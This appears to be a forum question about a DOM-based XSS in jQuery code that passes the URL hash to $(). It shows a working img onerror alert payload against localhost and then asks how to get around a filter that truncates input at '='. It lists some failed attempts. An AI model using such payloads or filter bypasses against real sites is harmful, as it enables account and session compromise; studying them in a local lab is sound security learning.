This is some vulnerable JavaScript code:
$(document).ready(function(){
var payload = unescape(document.location.hash.substr(1));
$(payload);
document.body.innerText = "The payload is: " + payload;
});
When I tried exploiting it with this input
http://localhost/xss.html#<img src=x onerror=alert(0)>
it worked fine, popping up the alert. My case is slightly different, there's a little filter that prevents the exploit:
$(document).ready(function(){
var payload = unescape(document.location.hash.substr(1));
payload = payload.split('=')[0]; // <------- The new filter
$(payload);
document.body.innerText = "The payload is: " + payload;
});
It truncates everything after the "=" character, which means I can't inject attributes. I already tried the following, but it did not work:
- HTML encode the equal character (
onerror&equal;alert()
) <script>alert(0);</script>
Anyone have an idea what I can do to bypass this filter?